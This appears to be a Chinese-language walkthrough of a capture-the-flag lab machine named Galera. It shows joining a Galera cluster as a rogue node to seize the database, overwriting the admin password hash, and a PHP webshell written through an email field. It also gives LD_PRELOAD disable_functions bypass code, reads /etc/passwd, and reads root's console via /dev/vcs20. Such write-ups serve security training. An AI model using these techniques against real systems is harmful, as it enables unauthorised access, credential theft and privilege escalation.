image-20250709102451786

image-20250709105409028

发现了一个4567端口比较奇怪根据靶机名猜到是Galera集群

其特点如下:

同步复制
主动且多主的拓扑
读写任意节点
自动的成员资格控制,失效的成员会自动剔除
节点自动加入
row级别的并行复制
各节点可供客户端直接连接

image-20250709105423064

image-20250709105437079

php配置文件泄露

image-20250709165019501

过滤了很多命令

80端口web服务爆破失败

我们尝试加入Galera集群已同步得到器数据库信息及操作权限

image-20250709170040842

目标操作系统是 Debian 12 “Bookworm”Debian12, 默认仓库中的 MariaDB 版本是 10.11.11

为了防止集群同步过程出现问题我们也是用相同版本的MariaDB去伪装节点加入集群

创建节点docker配置结构如下

docker-compose.yml
version: "3.9" # Docker Compose 文件格式版本

services:
galera-atacante:
image: mariadb:10.11.11 # 使用官方 MariaDB 镜像,带 Galera 支持
container_name: galera-atacante # 容器名称固定为 galera-atacante
network_mode: host # 使用宿主机网络(必要条件,避免 SST 时端口问题)
environment:
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes # 允许 root 用户密码为空(仅限开发环境使用)
- MARIADB_ROOT_PASSWORD= # 明确设置空密码(与上面一起使用)
- WSREP_SST_METHOD=rsync # 设置 SST(状态快照传输)方法为 rsync
volumes:
- ./conf.d:/etc/mysql/conf.d:ro # 将主机当前目录下的 conf.d 挂载到容器配置目录中(只读)

conf.d/galera.cnf
[mysqld] # 推荐使用 [mysqld] 段名以确保所有版本兼容

# 启用 Galera 插件
wsrep_on=ON

# Galera 插件库路径(MariaDB 官方镜像中默认路径)
wsrep_provider=/usr/lib/galera/libgalera_smm.so

# 集群种子节点地址:
# - 第一个节点启动时可以写 gcomm://
# - 后续节点写入要连接的现有节点 IP
wsrep_cluster_address=gcomm://192.168.56.107

# 当前节点绑定的 IP 地址(用于其他节点连接此节点)
wsrep_node_address=192.168.56.103

# 当前节点的名称(任意命名,用于日志和识别)
wsrep_node_name=atacante

# Galera 所要求的必要配置项
binlog_format=ROW # 使用 ROW 格式二进制日志(必须)
default_storage_engine=InnoDB # Galera 仅支持 InnoDB 引擎
innodb_autoinc_lock_mode=2 # 设置自增锁模式,避免多节点插入冲突

# 设置 SST 方法(状态快照传输)
# rsync 是最简单的方式,适合测试环境
wsrep_sst_method=rsync

image-20250709204759146

docker去拉取MariaDB 镜像

image-20250709203759561

image-20250709203909347

已经成功加入集群

MariaDB [(none)]> SHOW DATABASES
-> ;
+--------------------+
| Database |
+--------------------+
| galeradb |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.002 sec)

MariaDB [(none)]> SHOW TABLES IN galeradb;
+--------------------+
| Tables_in_galeradb |
+--------------------+
| users |
+--------------------+
1 row in set (0.001 sec)

MariaDB [galeradb]> use galeradb;
Database changed
MariaDB [galeradb]> select * from users;
+----+----------+------------------+--------------------------------------------------------------+---------------------+
| id | username | email | password | created_at |
+----+----------+------------------+--------------------------------------------------------------+---------------------+
| 1 | admin | admin@galera.hmv | $2y$10$BCAQ6VSNOL9TzfE5/dnVmuc9R5PotwClWAHwRdRAt7RM0d9miJRzq | 2025-05-04 23:55:51 |
+----+----------+------------------+--------------------------------------------------------------+---------------------+
1 row in set (0.003 sec)

MariaDB [galeradb]>

这个md5一直爆不出来我们搞清楚加密方式之后直接重新改写密码即可

image-20250709215208420

image-20250709215536956

update users set password = "$2a$12$CkewrEGSS7dLbfapvfJVl.Jloq9WKR9bdRlYk6Thx2m/D7mXKE522" where id = 1 ;

修改完直接admin/admin登陆即可

image-20250714110841219

这里发布消息之后我们进行查看但是不会解析

image-20250714111415909

这个页面还有一个可控的点就是email

我们直接去修改email

image-20250714112105399

image-20250714112126273

可以上传文件可以设计LD_PRELOAD劫持来进行命令执行拿到shell

原理:LD_PRELOAD 的作用是注入一个你自己写的 .so 动态链接库,它在操作系统层面生效,直接与底层 glibc(C 标准库)交互,因此绕过了 PHP 在脚本层面对函数的禁用控制

先整一个文件上传

UPDATE users SET email="<?php file_put_contents($_POST['a'],base64_decode($_POST['b']));?>" WHERE username='admin';

然后上传典型的 利用 LD_PRELOAD 绕过 disable_functions 实现命令执行的后门脚本

<?php
// 输出一个示例 URL,说明该脚本的使用方法
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

// 获取要执行的命令,如 cmd=pwd
$cmd = $_GET["cmd"];

// 获取命令输出保存路径,如 outpath=/tmp/xx
$out_path = $_GET["outpath"];

// 构造完整的命令行,将输出重定向到指定路径
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";

// 输出构造后的命令行(用于调试或提示)
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

// 将构造的命令写入自定义环境变量 EVIL_CMDLINE
// 该变量将在 LD_PRELOAD 注入的 .so 文件中读取并执行
putenv("EVIL_CMDLINE=" . $evil_cmdline);

// 获取 .so 文件路径,如 sopath=/var/www/bypass_disablefunc_x64.so
$so_path = $_GET["sopath"];

// 设置 LD_PRELOAD 环境变量为恶意 .so 的路径
// 这样下次触发 libc 函数调用时,该 .so 会被自动加载
putenv("LD_PRELOAD=" . $so_path);

// 触发 libc 层的函数调用,通常用 mail() 或 error_log()
// 此调用会导致系统调用 send() 等 libc 函数,从而触发 LD_PRELOAD 加载 .so
error_log('123', 1, 'test@qq.com', '');

// 下面两行是可选:
// 读取命令执行输出结果并展示在网页上(被注释掉)
// echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

// 删除输出文件,清理痕迹(被注释掉)
// unlink($out_path);
?>

<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
error_log('123',1,'test@qq.com','');

这一个能传上去

再写一个要利用用的.so 文件

e.so就是https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD这个项目里面的x64的so文件

image-20250714213617939

base64编码后上传

#include <stdlib.h>

void __attribute__((constructor)) init() {
char *cmd = getenv("EVIL_CMDLINE");
if (cmd != NULL) {
system(cmd); // 执行命令
}
}

最终没有拿到shell不知道怎么解决so文件base上传再编码之后和源文件不一致怎么解决

UPDATE users SET email='<?php include("/etc/passwd"); ?>' WHERE username='admin';

image-20250714112846741

发现纯在用户donjuandeaustria

直接爆破密码

image-20250719140829608

成功爆破出密码为amorcito

有一张图片

传出来做一下检查

image-20250719143913830

就单纯是一张图片

什么都没有

可能是提示下面是兔子洞

linpeas.sh扫描

╔══════════╣ Analyzing Autologin Files (limit 70)

-rw-r--r-- 1 root root 81 May 7 21:45 /etc/systemd/system/getty@tty20.service.d/autologin.conf
[Service]
ExecStart=
ExecStart=-/sbin/agetty --autologin root --noclear %I $TERM
donjuandeaustria@galera:~$ who                                                                                                                                                                                     
root tty20 2025-07-18 22:46
donjuandeaustria pts/0 2025-07-19 02:08 (192.168.56.103)
donjuandeaustria@galera:~$ users
donjuandeaustria root
donjuandeaustria@galera:~$
donjuandeaustria@galera:/dev$ w
03:51:41 up 5:05, 2 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty20 - 22:46 5:05m 0.03s 0.01s -bash
donjuand pts/0 192.168.56.103 02:08 1.00s 0.04s ? w

这就很明显知道两个终端而且 tty20肯定是root用户

都属于tty组我们直接查看root所在终端的内容

cat /dev/vcs20或者cat /dev/vcsa20就能看到root用户虚拟终端上的内容:

image-20250719154906430

能看到root的密码

直接root登陆即可